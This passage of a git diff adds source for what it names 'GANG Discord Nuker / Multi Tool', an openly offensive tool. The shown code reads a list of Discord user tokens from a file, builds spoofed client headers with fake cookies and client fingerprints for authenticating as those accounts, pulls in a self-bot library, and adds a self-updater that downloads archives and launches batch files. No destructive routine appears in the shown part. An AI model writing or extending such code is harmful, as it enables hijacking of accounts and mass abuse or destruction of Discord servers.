beautifulsoup4') +try: + from webdriver_manager.chrome import ChromeDriverManager +except: + os.system('pip install webdriver-manager') + from webdriver_manager.chrome import ChromeDriverManager +try: + from PIL import Image +except: + os.system('pip install pillow') + from PIL import Image +try: + import discum +except: + os.system('pip install discum') + import discum +try: + from selenium import webdriver +except: + os.system('pip install selenium') + from selenium import webdriver + + +lock = threading.Lock() +os.system('mode 120,30') +threads = 3 + +ur = 'https://discord.com/api/v9/channels/messages' +#latest = 'https://discord.com/api/v10/channels/messages' +tokens = open('tokens.txt', 'r').read().splitlines() + +def randstr(lenn): + alpha = "abcdefghijklmnopqrstuvwxyz0123456789" + text = '' + for i in range(0, lenn): + text += alpha[random.randint(0, len(alpha) - 1)] + return text + +def mainHeader(token): + return { + "authorization": token, + "accept": "*/*", + 'accept-encoding': 'gzip, deflate, br', + "accept-language": "en-GB", + "content-length": "90", + "content-type": "application/json", + "cookie": f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + "origin": "https://discord.com", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-origin", + "user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9003 Chrome/91.0.4472.164 Electron/13.4.0 Safari/537.36", + "x-debug-options": "bugReporterEnabled", + "x-super-properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJzdGFibGUiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC45MDAzIiwib3NfdmVyc2lvbiI6IjEwLjAuMjI0NjMiLCJvc19hcmNoIjoieDY0Iiwic3lzdGVtX2xvY2FsZSI6InNrIiwiY2xpZW50X2J1aWxkX251bWJlciI6OTkwMTYsImNsaWVudF9ldmVudF9zb3VyY2UiOm51bGx9" + } + +def secondHeader(token): + return { + ':authority': 'discord.com', + ':method': 'PATCH', + ':path': '/api/v9/users/@me', + ':scheme': 'https', + 'accept': '*/*', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'en-US', + 'authorization': token, + 'content-length': '124', + 'content-type': 'application/json', + 'Cookie': f"__cfuid={randstr(43)}; __dcfduid={randstr(32)}; locale=en-US", + 'origin': 'https://canary.discord.com', + 'sec-fetch-dest': 'empty', + 'sec-fetch-mode': 'cors', + 'sec-fetch-site': 'same-origin', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.616 Chrome/91.0.4472.164 Electron/13.4.0 Safari/537.36', + 'x-debug-options': 'bugReporterEnabled', + 'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJjYW5hcnkiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC42MTYiLCJvc192ZXJzaW9uIjoiMTAuMC4yMjQ1OCIsIm9zX2FyY2giOiJ4NjQiLCJzeXN0ZW1fbG9jYWxlIjoic2siLCJjbGllbnRfYnVpbGRfbnVtYmVyIjo5ODgyMywiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0='} diff --git a/utilities/Settings/update.py b/utilities/Settings/update.py new file mode 100644 index 0000000..8fd1cdf --- /dev/null +++ b/utilities/Settings/update.py @@ -0,0 +1,93 @@ +# Coded / Dev / Owner: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import re +import sys +import shutil +import requests +from time import sleep +from colorama import Fore +from zipfile import ZipFile +from bs4 import BeautifulSoup + +from utilities.Settings.common import * + +w = Fore.WHITE +b = Fore.BLACK +g = Fore.LIGHTGREEN_EX +y = Fore.LIGHTYELLOW_EX +m = Fore.LIGHTMAGENTA_EX +c = Fore.LIGHTCYAN_EX +lr = Fore.LIGHTRED_EX +lb = Fore.LIGHTBLUE_EX +# r = Fore.RESET + +######################################### + +def search_for_updates(): + clear() + setTitle("New Update Found | ") + r = requests.get("https://github.com/TT-Tutorials/GANG-Nuker/releases/latest") + + soup = str(BeautifulSoup(r.text, 'html.parser')) + s1 = re.search('', soup) + s2 = re.search('·', soup) + result_string = soup[s1.end():s2.start()] + + if THIS_VERSION not in result_string: + Write.Print("\n\n\n /$$ /$$ /$$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$$ /$$$$$$$ /$$$$$$ /$$$$$$$$ /$$$$$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$$ | $$| $$_____/| $$ /$ | $$ | $$ | $$| $$__ $$| $$__ $$ /$$__ $$|__ $$__/| $$_____/\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$$$| $$| $$ | $$ /$$$| $$ | $$ | $$| $$ \ $$| $$ \ $$| $$ \ $$ | $$ | $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ $$ $$| $$$$$ | $$/$$ $$ $$ | $$ | $$| $$$$$$$/| $$ | $$| $$$$$$$$ | $$ | $$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ $$$$| $$__/ | $$$$_ $$$$ | $$ | $$| $$____/ | $$ | $$| $$__ $$ | $$ | $$__/\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$\ $$$| $$ | $$$/ \ $$$ | $$ | $$| $$ | $$ | $$| $$ | $$ | $$ | $$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" | $$ \ $$| $$$$$$$$| $$/ \ $$ | $$$$$$/| $$ | $$$$$$$/| $$ | $$ | $$ | $$$$$$$$\n", Colors.purple_to_blue, interval=0.000) + Write.Print(" |__/ \__/|________/|__/ \__/ \______/ |__/ |_______/ |__/ |__/ |__/ |________/\n", Colors.purple_to_blue, interval=0.000) + print(f'''\n\n [{lr}!{w}] GANG-Nuker [{m}{THIS_VERSION}{w}] is OUTDATED''') + soup = BeautifulSoup(requests.get("https://github.com/TT-Tutorials/GANG-Nuker/releases").text, 'html.parser') + for link in soup.find_all('a'): + if "releases/download" in str(link): + update_url = f"https://github.com/{link.get('href')}" + print(f' [\x1b[95m#\x1b[95m\x1B[37m] Would You Like To Update To The Latest Version?') + choice = input(f' [\x1b[95m#\x1b[95m\x1B[37m] (Y/N)?: ') + if choice.lower() == 'y' or choice.lower() == 'yes': + print(f"\n [{g}#{w}] Updating GANG-Nuker...") + + if os.path.basename(sys.argv[0]).endswith("exe"): + with open("GANG-Nuker.zip", 'wb')as zipfile: + zipfile.write(requests.get(update_url).content) + with ZipFile("GANG-Nuker.zip", 'r') as filezip: + filezip.extractall() + os.remove("GANG-Nuker.zip") + cwd = os.getcwd()+'\\GANG-Nuker\\' + shutil.copyfile(cwd+'Changelog.md', 'Changelog.md') + try: + shutil.copyfile(cwd+os.path.basename(sys.argv[0]), 'GANG-Nuker.exe') + except Exception: + pass + shutil.copyfile(cwd+'README.md', 'README.md') + shutil.rmtree('GANG-Nuker') + input(f" [{g}#{w}] Update Successfully Finished!", end="") + os.startfile("GANG-Nuker.exe") + os._exit(0) + + else: + new_version_source = requests.get("https://github.com/TT-Tutorials/GANG-Nuker/archive/refs/heads/master.zip") + with open("GANG-Nuker-main.zip", 'wb')as zipfile: + zipfile.write(new_version_source.content) + with ZipFile("GANG-Nuker-main.zip", 'r') as filezip: + filezip.extractall() + os.remove("GANG-Nuker-main.zip") + cwd = os.getcwd()+'\\GANG-Nuker-main' + shutil.copytree(cwd, os.getcwd(), dirs_exist_ok=True) + shutil.rmtree(cwd) + input(f" [{g}!{w}] Update Successfully Finished!") + print(f' [{g}#{w}] Press ENTER to View New Update!') + if os.path.exists(os.getcwd()+'install.bat'): + os.startfile("install.bat") + elif os.path.exists(os.getcwd()+'start.bat'): + os.startfile("start.bat") + os._exit(0) \ No newline at end of file